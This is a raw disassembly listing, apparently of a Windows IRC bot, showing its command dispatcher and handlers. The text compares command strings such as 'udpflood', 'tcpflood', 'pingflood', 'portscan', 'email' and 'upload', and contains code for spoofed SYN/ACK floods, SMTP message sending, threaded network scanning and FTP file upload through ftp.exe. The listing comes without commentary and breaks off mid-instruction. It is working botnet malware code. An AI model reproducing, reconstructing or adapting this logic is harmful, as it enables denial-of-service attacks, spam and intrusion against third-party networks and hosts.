push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-2E64h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_406897 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42C28C jmp loc_407FD4 ; --------------------------------------------------------------------------- loc_40688F: ; CODE XREF: seg000:0040689Dj push 32h call ds:dword_428064 ; Sleep loc_406897: ; CODE XREF: seg000:0040687Cj cmp [ebp-2E58h], ebx jz short loc_40688F jmp loc_407FE3 ; --------------------------------------------------------------------------- loc_4068A4: ; CODE XREF: seg000:004067B7j push dword ptr [ebp+10h] push offset aPhatwonk ; "phatwonk" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407D28 push dword ptr [ebp+10h] push offset aWonk ; "wonk" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407D28 push dword ptr [ebp+10h] push offset aFalehdownl ; "falehdownl" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407BEE push dword ptr [ebp+10h] push offset aFalehdownl2 ; "falehdownl2" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407BEE push dword ptr [ebp+10h] push offset aRedirect ; "redirect" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407AF5 push dword ptr [ebp+10h] push offset aRd ; "rd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407AF5 push dword ptr [ebp+10h] push offset aScan ; "scan" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407A03 push dword ptr [ebp+10h] push offset aSc ; "sc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407A03 push dword ptr [ebp+10h] push offset aC_privmsg ; "c_privmsg" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407926 push dword ptr [ebp+10h] push offset aC_pm ; "c_pm" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407926 push dword ptr [ebp+10h] push offset aC_action ; "c_action" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40780C push dword ptr [ebp+10h] push offset aC_a ; "c_a" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40780C mov eax, [ebp+esi-80h] cmp eax, ebx mov [ebp+20h], eax jz loc_401F82 push dword ptr [ebp+10h] push offset aPortscan ; "portscan" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407707 push dword ptr [ebp+10h] push offset aPsc ; "psc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407707 push dword ptr [ebp+10h] push offset aFofofo ; "fofofo" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407234 push dword ptr [ebp+10h] push offset aAdfsdgsdgsc ; "adfsdgsdgsc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407234 push dword ptr [ebp+10h] push offset aUdpflood ; "udpflood" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407115 push dword ptr [ebp+10h] push offset aUdp ; "udp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407115 push dword ptr [ebp+10h] push offset aU ; "u" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407115 push dword ptr [ebp+10h] push offset aNetsend ; "netsend" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406FF9 push dword ptr [ebp+10h] push offset aNs ; "ns" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406FF9 push dword ptr [ebp+10h] push offset aPingflood ; "pingflood" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406ED3 push dword ptr [ebp+10h] push offset aPing_0 ; "ping" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406ED3 push dword ptr [ebp+10h] push offset aP ; "p" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406ED3 push dword ptr [ebp+10h] push offset aTcpflood ; "tcpflood" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406D0F push dword ptr [ebp+10h] push offset aTcp ; "tcp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_406D0F push dword ptr [ebp+10h] push offset aEmail ; "email" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406CB7 push dword ptr [ebp+18h] lea eax, [ebp-47E8h] push eax call sub_41C0A0 push edi call sub_41B969 push dword ptr [ebp+8] mov [ebp+18h], eax lea eax, [ebp-4184h] push eax call sub_41C0A0 push dword ptr [ebp+20h] lea eax, [ebp-4584h] push eax call sub_41C0A0 push offset asc_42E0C8 ; " " push offset dword_42CBB0 push dword ptr [ebp+esi-7Ch] call sub_4180DD push eax lea eax, [ebp-4284h] push eax call sub_41C0A0 add esp, 30h lea eax, [ebp-5584h] push eax push 101h call ds:dword_4CDB68 ; WSAStartup lea eax, [ebp-47E8h] push eax call ds:dword_4CDC7C ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_4CDC78 ; socket push dword ptr [ebp+18h] mov esi, eax mov word ptr [ebp-318h], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-314h], eax call ds:dword_4CDBF8 ; htons mov [ebp-316h], ax lea eax, [ebp-4284h] push eax lea eax, [ebp-4184h] push eax lea eax, [ebp-4284h] push eax lea eax, [ebp-4584h] push eax lea eax, [ebp-4184h] push eax lea eax, [ebp-5984h] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41BA76 add esp, 1Ch lea eax, [ebp-318h] push 10h push eax push esi call ds:dword_4CDBA0 ; connect mov edi, 100h push ebx lea eax, [ebp-4084h] push edi push eax push esi call ds:dword_4CDC10 ; recv lea eax, [ebp-4084h] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp-5984h] push eax push esi call ds:dword_4CDC48 ; send push ebx lea eax, [ebp-4084h] push edi push eax push esi call ds:dword_4CDC10 ; recv push esi call ds:dword_4CDC90 ; closesocket call ds:dword_4CDB50 ; WSACleanup lea eax, [ebp-4584h] push eax push offset unk_42C13C loc_406C70: ; CODE XREF: seg000:00404984j ; seg000:004080D4j ... lea eax, [ebp-2C0h] loc_406C76: ; CODE XREF: seg000:004083D9j push eax call sub_41BA76 loc_406C7C: ; CODE XREF: seg000:00403F02j add esp, 0Ch loc_406C7F: ; CODE XREF: seg000:00405F9Dj ; seg000:00405FF5j ... cmp [ebp-8], ebx jnz short loc_406CA0 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_406CA0: ; CODE XREF: seg000:0040447Fj ; seg000:00404494j ... mov esi, [ebp+2Ch] loc_406CA3: ; CODE XREF: seg000:004023FFj ; seg000:0040930Bj ... lea eax, [ebp-2C0h] push eax call sub_4152AE pop ecx mov eax, esi jmp loc_401F85 ; --------------------------------------------------------------------------- loc_406CB7: ; CODE XREF: seg000:00406B1Aj push dword ptr [ebp+10h] push offset aHttpcon ; "httpcon" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_406CE1 push dword ptr [ebp+10h] push offset aHcon ; "hcon" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_407284 loc_406CE1: ; CODE XREF: seg000:00406CC8j push dword ptr [ebp+esi-7Ch] push dword ptr [ebp+20h] push dword ptr [ebp+8] push edi call sub_41B969 pop ecx push eax push dword ptr [ebp+18h] push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_410444 jmp loc_409750 ; --------------------------------------------------------------------------- loc_406D0F: ; CODE XREF: seg000:00406AECj ; seg000:00406B03j push dword ptr [ebp+18h] mov esi, 80h lea eax, [ebp-1350h] push esi push eax call sub_41BB70 lea eax, [ebp-1350h] push eax push offset aSyn ; "syn" call sub_41C260 add esp, 14h test eax, eax jz short loc_406D74 lea eax, [ebp-1350h] push eax push offset aAck ; "ack" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_406D74 lea eax, [ebp-1350h] push eax push offset aRandom_0 ; "random" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_406D74 push offset unk_42C0F4 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_406D74: ; CODE XREF: seg000:00406D3Aj ; seg000:00406D51j ... push dword ptr [ebp+20h] call sub_41B969 cmp eax, ebx pop ecx mov [ebp-1248h], eax jle loc_406E96 push dword ptr [ebp+18h] lea eax, [ebp-1350h] push esi push eax call sub_41BB70 push edi lea eax, [ebp-13D0h] push esi push eax call sub_41BB70 push dword ptr [ebp+8] call sub_41B969 mov [ebp-124Ch], eax xor eax, eax cmp [ebp-8EAh], bl push dword ptr [ebp-88h] setnz al mov [ebp-1244h], eax mov eax, [ebp+0Ch] mov [ebp-13D4h], eax lea eax, [ebp-12D0h] push esi push eax call sub_41BB70 mov eax, [ebp-4] add esp, 28h cmp [ebp-1244h], ebx mov [ebp-1240h], eax mov eax, [ebp-8] mov [ebp-123Ch], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E0B mov eax, offset aNormal ; "Normal" loc_406E0B: ; CODE XREF: seg000:00406E04j push dword ptr [ebp+20h] push dword ptr [ebp+8] push edi push dword ptr [ebp+18h] push eax push offset unk_42C0B0 lea eax, [ebp-2C0h] push 200h push eax call sub_41BB70 push ebx lea eax, [ebp-2C0h] push 14h push eax call sub_40AF71 add esp, 2Ch mov [ebp-1250h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-13D4h] push ebx push eax push offset word_413F56 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-1250h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_406E8C call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42C078 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_406E84: ; CODE XREF: seg000:00406E92j push 32h call ds:dword_428064 ; Sleep loc_406E8C: ; CODE XREF: seg000:00406E71j cmp [ebp-1238h], ebx jz short loc_406E84 jmp short loc_406EA9 ; --------------------------------------------------------------------------- loc_406E96: ; CODE XREF: seg000:00406D85j push offset unk_42C040 loc_406E9B: ; CODE XREF: seg000:00403A88j ; seg000:00403A9Ej ... lea eax, [ebp-2C0h] push eax call sub_41BA76 pop ecx pop ecx loc_406EA9: ; CODE XREF: seg000:00403BB9j ; seg000:004040BBj ... cmp [ebp-8], ebx jnz loc_4023FC push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] loc_406EC6: ; CODE XREF: seg000:00403E78j call sub_409966 add esp, 14h jmp loc_4023FC ; --------------------------------------------------------------------------- loc_406ED3: ; CODE XREF: seg000:00406AA7j ; seg000:00406ABEj ... cmp ds:dword_4CDCE4, ebx jnz loc_406FDE mov eax, [ebp-8] push 7Fh push dword ptr [ebp+18h] mov [ebp-0FF0h], eax mov eax, [ebp-4] mov [ebp-0FF4h], eax lea eax, [ebp-1088h] push eax call sub_41B7E0 push edi call sub_41B969 push dword ptr [ebp+8] mov [ebp-1008h], eax call sub_41B969 push dword ptr [ebp+20h] mov [ebp-1004h], eax call sub_41B969 push 7Fh mov [ebp-1000h], eax push dword ptr [ebp-88h] lea eax, [ebp-1108h] push eax call sub_41B7E0 push dword ptr [ebp-1000h] mov eax, [ebp+0Ch] mov [ebp-110Ch], eax lea eax, [ebp-1088h] push dword ptr [ebp-1004h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp-1008h] push offset unk_42BFF8 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 16h push eax call sub_40AF71 add esp, 48h mov [ebp-0FF8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-110Ch] push ebx push eax push offset byte_4133B9 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0FF8h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_406FD1 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BFBC jmp loc_405F42 ; --------------------------------------------------------------------------- loc_406FC9: ; CODE XREF: seg000:00406FD7j push 32h call ds:dword_428064 ; Sleep loc_406FD1: ; CODE XREF: seg000:00406FB6j cmp [ebp-0FECh], ebx jz short loc_406FC9 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_406FDE: ; CODE XREF: seg000:00406ED9j push 1FFh lea eax, [ebp-2C0h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B7E0 jmp loc_405F4E ; --------------------------------------------------------------------------- loc_406FF9: ; CODE XREF: seg000:00406A79j ; seg000:00406A90j push edi lea eax, [ebp-2C0h] push dword ptr [ebp+18h] push dword ptr [ebp+8] push offset unk_42BF68 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push dword ptr [ebp+8] call sub_41B1D0 push edi mov [ebp+28h], eax call sub_41B1D0 mov ecx, [ebp+28h] push dword ptr [ebp+18h] add ecx, eax mov [ebp+28h], ecx call sub_41B1D0 mov ecx, [ebp+28h] push dword ptr [ebp+10h] add ecx, eax mov [ebp+28h], ecx call sub_41B1D0 add eax, [ebp-0Ch] mov ecx, [ebp+28h] push dword ptr [ebp+20h] lea eax, [eax+ecx+7] push eax call sub_41BAF0 add esp, 40h mov [ebp+14h], eax push dword ptr [ebp+8] call sub_41B969 mov edi, [ebp+24h] cmp eax, ebx pop ecx mov [ebp+1Ch], eax mov [ebp+28h], ebx jle short loc_407101 loc_40708A: ; CODE XREF: seg000:004070AEj push dword ptr [ebp+14h] push edi push dword ptr [ebp+18h] call loc_418788 add esp, 0Ch cmp eax, 1 mov [ebp+24h], eax jz short loc_4070B2 cmp eax, ebx jnz short loc_4070D1 inc dword ptr [ebp+28h] mov eax, [ebp+28h] cmp eax, [ebp+1Ch] jl short loc_40708A jmp short loc_40710A ; --------------------------------------------------------------------------- loc_4070B2: ; CODE XREF: seg000:0040709Fj push ebx push dword ptr [ebp-4] push offset unk_42BF30 loc_4070BB: ; CODE XREF: seg000:00407113j push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h jmp loc_407284 ; --------------------------------------------------------------------------- loc_4070D1: ; CODE XREF: seg000:004070A3j push dword ptr [ebp+24h] lea eax, [ebp-2C0h] push offset unk_42BEFC push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 20h loc_407101: ; CODE XREF: seg000:00407088j cmp [ebp+24h], ebx jnz loc_407284 loc_40710A: ; CODE XREF: seg000:004070B0j push ebx push dword ptr [ebp-4] push offset unk_42BEC8 jmp short loc_4070BB ; --------------------------------------------------------------------------- loc_407115: ; CODE XREF: seg000:00406A34j ; seg000:00406A4Bj ... mov eax, [ebp-8] push 7Fh push dword ptr [ebp+18h] mov [ebp-0C60h], eax mov eax, [ebp-4] mov [ebp-0C64h], eax lea eax, [ebp-0CF8h] push eax call sub_41B7E0 push edi call sub_41B969 push dword ptr [ebp+8] mov [ebp-0C78h], eax call sub_41B969 push dword ptr [ebp+20h] mov [ebp-0C74h], eax call sub_41B969 mov esi, [ebp+esi-7Ch] add esp, 18h cmp esi, ebx mov [ebp-0C70h], eax jz short loc_40717A push esi call sub_41B969 pop ecx mov [ebp-0C6Ch], eax jmp short loc_407180 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: seg000:00407169j mov [ebp-0C6Ch], ebx loc_407180: ; CODE XREF: seg000:00407178j push 7Fh lea eax, [ebp-0D78h] push dword ptr [ebp-88h] push eax call sub_41B7E0 push dword ptr [ebp-0C70h] mov esi, [ebp+0Ch] lea eax, [ebp-0CF8h] mov [ebp-0D7Ch], esi push dword ptr [ebp-0C74h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp-0C78h] push offset unk_42BE80 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 17h push eax call sub_40AF71 add esp, 30h mov [ebp-0C68h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0D7Ch] push ebx push eax push offset byte_413545 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0C68h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_407227 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BE48 jmp loc_407FD4 ; --------------------------------------------------------------------------- loc_40721F: ; CODE XREF: seg000:0040722Dj push 32h call ds:dword_428064 ; Sleep loc_407227: ; CODE XREF: seg000:0040720Cj cmp [ebp-0C5Ch], ebx jz short loc_40721F jmp loc_407FE3 ; --------------------------------------------------------------------------- loc_407234: ; CODE XREF: seg000:00406A06j ; seg000:00406A1Dj push 0Bh call sub_40B1B3 push edi mov [ebp+24h], eax call sub_41B969 add eax, [ebp+24h] pop ecx pop ecx cmp eax, 1F4h jle loc_4073FD push dword ptr [ebp+24h] lea eax, [ebp-2C0h] push offset unk_42BE08 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 20h loc_407284: ; CODE XREF: seg000:00406CDBj ; seg000:004070CCj ... mov esi, [ebp+esi-7Ch] cmp esi, ebx jz loc_401F82 push dword ptr [ebp+10h] push offset aUpload ; "upload" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_409753 push 4 push esi call sub_41697A pop ecx test eax, eax pop ecx jnz short loc_4072CF push esi push offset unk_42BDE0 loc_4072BB: ; CODE XREF: seg000:00409559j lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch jmp loc_403FA7 ; --------------------------------------------------------------------------- loc_4072CF: ; CODE XREF: seg000:004072B3j call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx call sub_41BAD2 push 9 cdq pop ecx idiv ecx push edx call sub_41BAD2 push 63h cdq pop ecx idiv ecx push edx call sub_41BAD2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-51F4h] push edx push eax lea eax, [ebp-2BB0h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41BA76 lea eax, [ebp-2BB0h] push offset aAb ; "ab" push eax call sub_41B6B2 add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_401F82 push esi push dword ptr [ebp+20h] push dword ptr [ebp+8] push edi push dword ptr [ebp+18h] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BFF6 push dword ptr [ebp+2Ch] call sub_41B24B lea eax, [ebp-2BB0h] push eax lea eax, [ebp-4CECh] push offset aSS_3 ; "-s:%s" push eax call sub_41BA76 add esp, 2Ch lea eax, [ebp-4CECh] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_4CDB64 push dword ptr [ebp+18h] test eax, eax push esi jz short loc_40739B push offset unk_42BD70 jmp short loc_4073A0 ; --------------------------------------------------------------------------- loc_40739B: ; CODE XREF: seg000:00407392j push offset unk_42BD40 loc_4073A0: ; CODE XREF: seg000:00407399j call sub_41BA76 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_4073C9 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_4073C9: ; CODE XREF: seg000:004073ABj lea eax, [ebp-2C0h] push eax call sub_4152AE jmp short loc_4073E3 ; --------------------------------------------------------------------------- loc_4073D7: ; CODE XREF: seg000:004073F6j lea eax, [ebp-2BB0h] push eax call sub_41BFCC loc_4073E3: ; CODE XREF: seg000:004073D5j lea eax, [ebp-2BB0h] push 4 push eax call sub_41697A add esp, 0Ch test eax, eax jnz short loc_4073D7 jmp loc_401F82 ; --------------------------------------------------------------------------- loc_4073FD: ; CODE XREF: seg000:0040724Ej push dword ptr [ebp+18h] call sub_41B969 push edi mov [ebp-36Ch], eax call sub_41B969 push dword ptr [ebp+8] mov [ebp-354h], eax call sub_41B969 add esp, 0Ch cmp eax, 5 mov [ebp-368h], eax jnb short loc_407436 push 5 pop eax mov [ebp-368h], eax loc_407436: ; CODE XREF: seg000:0040742Bj push 3Ch pop ecx cmp eax, ecx jbe short loc_407443 mov [ebp-368h], ecx loc_407443: ; CODE XREF: seg000:0040743Bj push dword ptr [ebp+20h] call sub_41B969 mov [ebp-364h], eax mov eax, 320h cmp [ebp-364h], eax pop ecx jbe short loc_407465 mov [ebp-364h], eax loc_407465: ; CODE XREF: seg000:0040745Dj or dword ptr [ebp-350h], 0FFFFFFFFh cmp ds:dword_432A90, ebx mov [ebp+28h], ebx jz short loc_4074B4 mov edi, offset dword_432A90 loc_40747C: ; CODE XREF: seg000:00407496j push dword ptr [ebp+18h] lea eax, [edi-28h] push eax call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_40749A inc dword ptr [ebp+28h] add edi, 40h cmp [edi], ebx jnz short loc_40747C jmp short loc_4074B4 ; --------------------------------------------------------------------------- loc_40749A: ; CODE XREF: seg000:0040748Cj mov eax, [ebp+28h] mov ecx, eax mov [ebp-350h], eax shl ecx, 6 mov ecx, ds:dword_432A90[ecx] mov [ebp-36Ch], ecx loc_4074B4: ; CODE XREF: seg000:00407475j ; seg000:00407498j cmp [ebp-36Ch], ebx jnz short loc_4074C6 push offset unk_42BD0C jmp loc_406E9B ; --------------------------------------------------------------------------- loc_4074C6: ; CODE XREF: seg000:004074BAj mov edi, [ebp+esi-7Ch] cmp edi, ebx mov [ebp+8], edi jz short loc_407501 cmp byte ptr [edi], 23h jz short loc_407501 push edi lea eax, [ebp-480h] push 10h push eax call sub_41BB70 push 78h push edi call sub_41C1A0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-340h], eax jmp loc_4075DB ; --------------------------------------------------------------------------- loc_407501: ; CODE XREF: seg000:004074CFj ; seg000:004074D4j cmp [ebp-8FBh], bl jnz short loc_407523 cmp [ebp-8FAh], bl jnz short loc_407523 cmp [ebp-8EAh], bl jnz short loc_407523 push offset unk_42BCD8 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_407523: ; CODE XREF: seg000:00407507j ; seg000:0040750Fj ... push 10h lea eax, [ebp-2CCh] pop edi push eax lea eax, [ebp-304h] push eax mov [ebp-2CCh], edi push dword ptr [ebp+0Ch] call ds:dword_4CDB9C ; getsockname mov al, [ebp-8FBh] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-300h], eax push dword ptr [ebp-300h] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-480h] push eax call sub_41B7E0 add esp, 0Ch cmp [ebp-8EAh], bl jz short loc_4075D5 xor eax, eax cmp [ebp-8FBh], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-480h] push eax call sub_41C030 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_4075C9 loc_4075A7: ; CODE XREF: seg000:004075C7j cmp eax, ebx jz short loc_4075C9 mov byte ptr [eax], 78h lea eax, [ebp-480h] push 30h push eax call sub_41C030 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_4075A7 loc_4075C9: ; CODE XREF: seg000:004075A5j ; seg000:004075A9j mov dword ptr [ebp-340h], 1 jmp short loc_4075DB ; --------------------------------------------------------------------------- loc_4075D5: ; CODE XREF: seg000:0040757Fj mov [ebp-340h], ebx loc_4075DB: ; CODE XREF: seg000:004074FCj ; seg000:004075D3j mov eax, [ebp+0Ch] push dword ptr [ebp-88h] mov [ebp-370h], eax mov eax, [ebp-4] mov [ebp-348h], eax mov eax, [ebp-8] mov [ebp-344h], eax mov edi, 80h lea eax, [ebp-470h] push edi push eax call sub_41BB70 mov esi, [ebp+esi-78h] add esp, 0Ch cmp esi, ebx jz short loc_40762C loc_407619: ; CODE XREF: seg000:0040764Fj push esi loc_40761A: ; CODE XREF: seg000:00407639j lea eax, [ebp-3F0h] push edi push eax call sub_41BB70 add esp, 0Ch jmp short loc_407657 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: seg000:00407617j mov eax, [ebp+8] cmp eax, ebx jz short loc_40763B cmp byte ptr [eax], 23h jnz short loc_40763B push eax jmp short loc_40761A ; --------------------------------------------------------------------------- loc_40763B: ; CODE XREF: seg000:00407631j ; seg000:00407636j mov esi, offset aBo_0 ; "#bo-" push offset dword_43FDB4 push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_407619 mov [ebp-3F0h], bl loc_407657: ; CODE XREF: seg000:0040762Aj cmp [ebp-340h], ebx mov eax, offset aRandom ; "Random" jnz short loc_407669 mov eax, offset aSequential ; "Sequential" loc_407669: ; CODE XREF: seg000:00407662j push dword ptr [ebp-354h] lea ecx, [ebp-480h] push dword ptr [ebp-364h] push dword ptr [ebp-368h] push dword ptr [ebp-36Ch] push ecx push eax lea eax, [ebp-2C0h] push offset unk_42BC70 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40AF71 add esp, 2Ch mov [ebp-360h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-480h] push ebx push eax push (offset loc_40C1A1+1) push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-360h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_4076FA call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BC38 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_4076F2: ; CODE XREF: seg000:00407700j push 32h call ds:dword_428064 ; Sleep loc_4076FA: ; CODE XREF: seg000:004076DFj cmp [ebp-33Ch], ebx jz short loc_4076F2 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_407707: ; CODE XREF: seg000:004069D8j ; seg000:004069EFj push dword ptr [ebp+18h] call sub_40A9E8 push edi mov [ebp-4DCh], eax call sub_41B969 push dword ptr [ebp+8] mov [ebp-4ECh], eax call sub_41B969 push dword ptr [ebp+20h] mov [ebp-4E8h], eax call sub_41B969 mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-88h] mov [ebp-4E4h], eax lea eax, [ebp-56Ch] mov [ebp-570h], esi push eax call sub_41B7E0 add esp, 1Ch mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-4D4h], edi push dword ptr [ebp-4E8h] mov [ebp-4D0h], eax push dword ptr [ebp-4ECh] push dword ptr [ebp-4E4h] push dword ptr [ebp-4DCh] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-2C0h] push offset unk_42BBE8 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40AF71 add esp, 24h mov [ebp-4E0h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-570h] push ebx push eax push offset sub_40C5B7 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-4E0h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_4077FF call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BBA8 jmp loc_403E50 ; --------------------------------------------------------------------------- loc_4077F7: ; CODE XREF: seg000:00407805j push 32h call ds:dword_428064 ; Sleep loc_4077FF: ; CODE XREF: seg000:004077E4j cmp [ebp-4CCh], ebx jz short loc_4077F7 jmp loc_403E5F ; --------------------------------------------------------------------------- loc_40780C: ; CODE XREF: seg000:0040699Bj ; seg000:004069B2j push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx cmp ds:byte_440B50[eax], bl jz loc_409753 cmp [ebp-0Ch], ebx jz loc_409753 push edi call sub_41B1D0 push dword ptr [ebp+18h] mov esi, eax call sub_41B1D0 push dword ptr [ebp+10h] add esi, eax call sub_41B1D0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_41BAF0 mov esi, eax lea eax, [ebp-2C0h] push esi push offset dword_42BB9C push eax call sub_41BA76 add esp, 20h cmp esi, ebx jz loc_409753 push dword ptr [ebp+18h] call sub_41B969 test eax, eax pop ecx jle loc_409753 push dword ptr [ebp+18h] call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 push ebx lea eax, [ebp-2C0h] push ebx push eax push edi push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call sub_409966 push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h add esp, 18h cmp byte ptr ds:dword_440938[eax], 73h jnz loc_409753 push esi push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx add eax, offset byte_440B50 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" loc_4078FC: ; CODE XREF: seg000:004079FEj lea eax, [ebp-2C0h] push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 jmp loc_40408E ; --------------------------------------------------------------------------- loc_407926: ; CODE XREF: seg000:0040696Dj ; seg000:00406984j push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx cmp ds:byte_440B50[eax], bl jz loc_409753 cmp [ebp-0Ch], ebx jz loc_409753 push edi call sub_41B1D0 push dword ptr [ebp+18h] mov esi, eax call sub_41B1D0 push dword ptr [ebp+10h] add esi, eax call sub_41B1D0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_41BAF0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409753 push dword ptr [ebp+18h] call sub_41B969 test eax, eax pop ecx jle loc_409753 push dword ptr [ebp+18h] call sub_41B969 cmp eax, 400h pop ecx jge loc_409753 push ebx push ebx push esi push edi push dword ptr [ebp+18h] call sub_41B969 imul eax, 234h pop ecx push ds:dword_440B44[eax] call 